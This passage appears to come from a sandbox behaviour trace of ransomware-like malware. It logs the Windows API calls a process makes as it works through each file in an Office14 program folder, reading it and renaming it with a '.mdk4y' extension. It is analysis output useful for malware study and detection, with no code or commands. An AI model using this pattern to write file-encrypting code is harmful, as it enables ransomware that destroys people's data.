Office\\Office14\\INTLDATE.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\intldate.dll.mdk4y")) returned 1 [0223.896] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0223.896] AreFileApisANSI () returned 1 [0223.896] GetACP () returned 0x4e4 [0223.896] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IPDESIGN.DLL", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="IPDESIGN.DLL", lpUsedDefaultChar=0x37dfd8) returned 12 [0223.896] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IPDESIGN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\ipdesign.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0223.902] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829913200000) returned 1 [0223.902] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0223.933] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829916300000) returned 1 [0223.933] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829916300000) returned 1 [0223.947] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\IPDESIGN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\ipdesign.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\IPDESIGN.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\ipdesign.dll.mdk4y")) returned 1 [0223.950] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0223.950] AreFileApisANSI () returned 1 [0223.950] GetACP () returned 0x4e4 [0223.950] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IPEDITOR.DLL", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="IPEDITOR.DLL", lpUsedDefaultChar=0x37dfd8) returned 12 [0223.950] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IPEDITOR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\ipeditor.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0223.952] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829918200000) returned 1 [0223.952] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0223.980] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829921000000) returned 1 [0223.980] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829921000000) returned 1 [0223.993] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\IPEDITOR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\ipeditor.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\IPEDITOR.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\ipeditor.dll.mdk4y")) returned 1 [0223.996] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0223.996] AreFileApisANSI () returned 1 [0223.996] GetACP () returned 0x4e4 [0223.996] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IPIRM.XML", cchWideChar=9, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="IPIRM.XMLDLL", lpUsedDefaultChar=0x37dfd8) returned 9 [0223.996] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IPIRM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\ipirm.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0223.997] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829922700000) returned 1 [0223.997] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x1375c, lpOverlapped=0x0) returned 1 [0224.008] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829923800000) returned 1 [0224.008] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829923800000) returned 1 [0224.009] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\IPIRM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\ipirm.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\IPIRM.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\ipirm.xml.mdk4y")) returned 1 [0224.010] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0224.010] AreFileApisANSI () returned 1 [0224.010] GetACP () returned 0x4e4 [0224.010] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IPIRMV.XML", cchWideChar=10, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="IPIRMV.XMLLL", lpUsedDefaultChar=0x37dfd8) returned 10 [0224.011] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IPIRMV.XML" (normalized: "c:\\program files\\microsoft office\\office14\\ipirmv.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0224.016] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829924600000) returned 1 [0224.016] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x135a4, lpOverlapped=0x0) returned 1 [0224.023] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829925300000) returned 1 [0224.023] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829925300000) returned 1 [0224.024] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\IPIRMV.XML" (normalized: "c:\\program files\\microsoft office\\office14\\ipirmv.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\IPIRMV.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\ipirmv.xml.mdk4y")) returned 1 [0224.026] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0224.027] AreFileApisANSI () returned 1 [0224.027] GetACP () returned 0x4e4 [0224.027] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IPOLK.DLL", cchWideChar=9, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="IPOLK.DLLL", lpUsedDefaultChar=0x37dfd8) returned 9 [0224.027] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IPOLK.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\ipolk.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0224.027] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829925700000) returned 1 [0224.027] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x39988, lpOverlapped=0x0) returned 1 [0224.050] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829928000000) returned 1 [0224.051] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829928100000) returned 1 [0224.053] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\IPOLK.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\ipolk.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\IPOLK.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\ipolk.dll.mdk4y")) returned 1 [0224.054] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0224.054] AreFileApisANSI () returned 1 [0224.054] GetACP () returned 0x4e4 [0224.054] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IXACS.PDL", cchWideChar=9, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="IXACS.PDL", lpUsedDefaultChar=0x37dfd8) returned 9 [0224.054] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXACS.PDL" (normalized: "c:\\program files\\microsoft office\\office14\\ixacs.pdl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0224.056] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829928600000) returned 1 [0224.056] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x551a0, lpOverlapped=0x0) returned 1 [0224.100] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829932900000) returned 1 [0224.100] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829933000000) returned 1 [0224.103] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXACS.PDL" (normalized: "c:\\program files\\microsoft office\\office14\\ixacs.pdl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXACS.PDL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\ixacs.pdl.mdk4y")) returned 1 [0224.104] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0224.104] AreFileApisANSI () returned 1 [0224.104] GetACP () returned 0x4e4 [0224.104] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IXDB2.PDL", cchWideChar=9, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="IXDB2.PDL", lpUsedDefaultChar=0x37dfd8) returned 9 [0224.104] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXDB2.PDL" (normalized: "c:\\program files\\microsoft office\\office14\\ixdb2.pdl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0224.141] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829937100000) returned 1 [0224.141] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x34188, lpOverlapped=0x0) returned 1 [0224.152] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829938200000) returned 1 [0224.153] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829938300000) returned 1 [0224.155] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXDB2.PDL" (normalized: "c:\\program files\\microsoft office\\office14\\ixdb2.pdl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXDB2.PDL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\ixdb2.pdl.mdk4y")) returned 1 [0224.156] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0224.156] AreFileApisANSI () returned 1 [0224.156] GetACP () returned 0x4e4 [0224.156] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IXGENERC.PDL", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="IXGENERC.PDL", lpUsedDefaultChar=0x37dfd8) returned 12 [0224.156] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXGENERC.PDL" (normalized: "c:\\program files\\microsoft office\\office14\\ixgenerc.pdl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0224.158] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829938800000) returned 1 [0224.158] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x16db0, lpOverlapped=0x0) returned 1 [0224.170] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829940000000) returned 1 [0224.170] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829940000000) returned 1 [0224.171] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXGENERC.PDL" (normalized: "c:\\program files\\microsoft office\\office14\\ixgenerc.pdl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXGENERC.PDL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\ixgenerc.pdl.mdk4y")) returned 1 [0224.173] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0224.173] AreFileApisANSI () returned 1 [0224.173] GetACP () returned 0x4e4 [0224.173] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IXOLEDB.PDL", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="IXOLEDB.PDLL", lpUsedDefaultChar=0x37dfd8) returned 11 [0224.173] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXOLEDB.PDL" (normalized: "c:\\program files\\microsoft office\\office14\\ixoledb.pdl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0224.174] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829940400000) returned 1 [0224.174] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x2ada0, lpOverlapped=0x0) returned 1 [0224.185] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829941500000) returned 1 [0224.185] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829941500000) returned 1 [0224.186] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXOLEDB.PDL" (normalized: "c:\\program files\\microsoft office\\office14\\ixoledb.pdl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXOLEDB.PDL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\ixoledb.pdl.mdk4y")) returned 1 [0224.189] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0224.189] AreFileApisANSI () returned 1 [0224.189] GetACP () returned 0x4e4 [0224.189] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IXORACLE.PDL", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="IXORACLE.PDL", lpUsedDefaultChar=0x37dfd8) returned 12 [0224.189] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXORACLE.PDL" (normalized: "c:\\program files\\microsoft office\\office14\\ixoracle.pdl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0224.189] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829941900000) returned 1 [0224.189] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x63fa0, lpOverlapped=0x0) returned 1 [0224.207] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829943700000) returned 1 [0224.207] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829943700000) returned 1 [0224.211] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXORACLE.PDL" (normalized: "c:\\program files\\microsoft office\\office14\\ixoracle.pdl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXORACLE.PDL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\ixoracle.pdl.mdk4y")) returned 1 [0224.213] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0224.213] AreFileApisANSI () returned 1 [0224.213] GetACP () returned 0x4e4 [0224.213] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IXSSRV.PDL", cchWideChar=10, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="IXSSRV.PDLDL", lpUsedDefaultChar=0x37dfd8) returned 10 [0224.213] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXSSRV.PDL" (normalized: "c:\\program files\\microsoft office\\office14\\ixssrv.pdl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0224.240] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829947000000) returned 1 [0224.240] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x2fda8, lpOverlapped=0x0) returned 1 [0224.252] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829948200000) returned 1 [0224.252] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829948200000) returned 1 [0224.254] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXSSRV.PDL" (normalized: "c:\\program files\\microsoft office\\office14\\ixssrv.pdl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXSSRV.PDL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\ixssrv.pdl.mdk4y")) returned 1 [0224.256] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0224.256] AreFileApisANSI () returned 1 [0224.256] GetACP () returned 0x4e4 [0224.256] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IXUTIL.DLL", cchWideChar=10, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="IXUTIL.DLL", lpUsedDefaultChar=0x37dfd8) returned 10 [0224.256] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXUTIL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\ixutil.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0224.257] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829948700000) returned 1 [0224.257] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x4db80, lpOverlapped=0x0) returned 1 [0224.267] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829949700000) returned 1 [0224.268] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829949800000) returned 1 [0224.270] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXUTIL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\ixutil.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXUTIL.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\ixutil.dll.mdk4y")) returned 1 [0224.273] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0224.273] AreFileApisANSI () returned 1 [0224.273] GetACP () returned 0x4e4 [0224.273] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="JFONT.DAT", cchWideChar=9, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="JFONT.DATL", lpUsedDefaultChar=0x37dfd8) returned 9 [0224.274] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\JFONT.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\jfont.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0224.275] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829950500000) returned 1 [0224.275] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x499c, lpOverlapped=0x0) returned 1 [0224.281] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829951100000) returned 1 [0224.281] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829951100000) returned 1 [0224.281] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\JFONT.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\jfont.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\JFONT.DAT.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\jfont.dat.mdk4y")) returned 1 [0224.283] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0224.283] AreFileApisANSI () returned 1 [0224.283] GetACP () returned 0x4e4 [0224.283] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="LATIN1.SHP", cchWideChar=10, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="LATIN1.SHP", lpUsedDefaultChar=0x37dfd8) returned 10 [0224.283] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP" (normalized: "c:\\program files\\microsoft office\\office14\\latin1.shp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0224.284] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829951400000) returned 1 [0224.284] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x89e6e, lpOverlapped=0x0) returned 1 [0224.301] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829953100000) returned 1 [0224.301] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829953100000) returned 1 [0224.305] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP" (normalized: "c:\\program files\\microsoft office\\office14\\latin1.shp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\latin1.shp.mdk4y")) returned 1 [0224.308] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0224.308] AreFileApisANSI () returned 1 [0224.308] GetACP () returned 0x4e4 [0224.308] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="LGND.DLL", cchWideChar=8, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="LGND.DLLHP", lpUsedDefaultChar=0x37dfd8) returned 8 [0224.308] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\lgnd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0224.309] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829953900000) returned 1 [0224.309] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xaa570, lpOverlapped=0x0) returned 1 [0224.352] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829958200000) returned 1 [0224.352] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1829958200000) returned 1 [0224.357] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft 